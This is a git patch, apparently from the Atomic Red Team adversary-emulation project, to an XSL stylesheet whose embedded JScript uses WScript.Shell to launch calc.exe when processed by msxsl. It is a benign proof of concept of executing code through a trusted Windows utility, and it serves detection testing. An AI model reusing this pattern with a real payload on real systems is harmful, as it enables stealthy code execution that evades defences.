From ef0b8f073e698049fef1084fe2bfd1ea3fe608c7 Mon Sep 17 00:00:00 2001
From: Tony M Lambert <tony.lambert@redcanary.com>
Date: Fri, 14 Sep 2018 20:49:10 -0500
Subject: [PATCH] Hopefully this works remotely now

---
 atomics/T1127/src/msxsl-script.xsl | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/atomics/T1127/src/msxsl-script.xsl b/atomics/T1127/src/msxsl-script.xsl
index dfe01578..da58a0c3 100644
--- a/atomics/T1127/src/msxsl-script.xsl
+++ b/atomics/T1127/src/msxsl-script.xsl
@@ -5,7 +5,11 @@ xmlns:msxsl="urn:schemas-microsoft-com:xslt"
 xmlns:user="http://mycompany.com/mynamespace">
  
 <msxsl:script language="JScript" implements-prefix="user">
-    var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c C:\Windows\System32\calc.exe");
+   function xml(nodelist) {
+var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
+   return nodelist.nextNode().xml;
+ 
+   }
 </msxsl:script>
 <xsl:template match="/">
    <xsl:value-of select="user:xml(.)"/>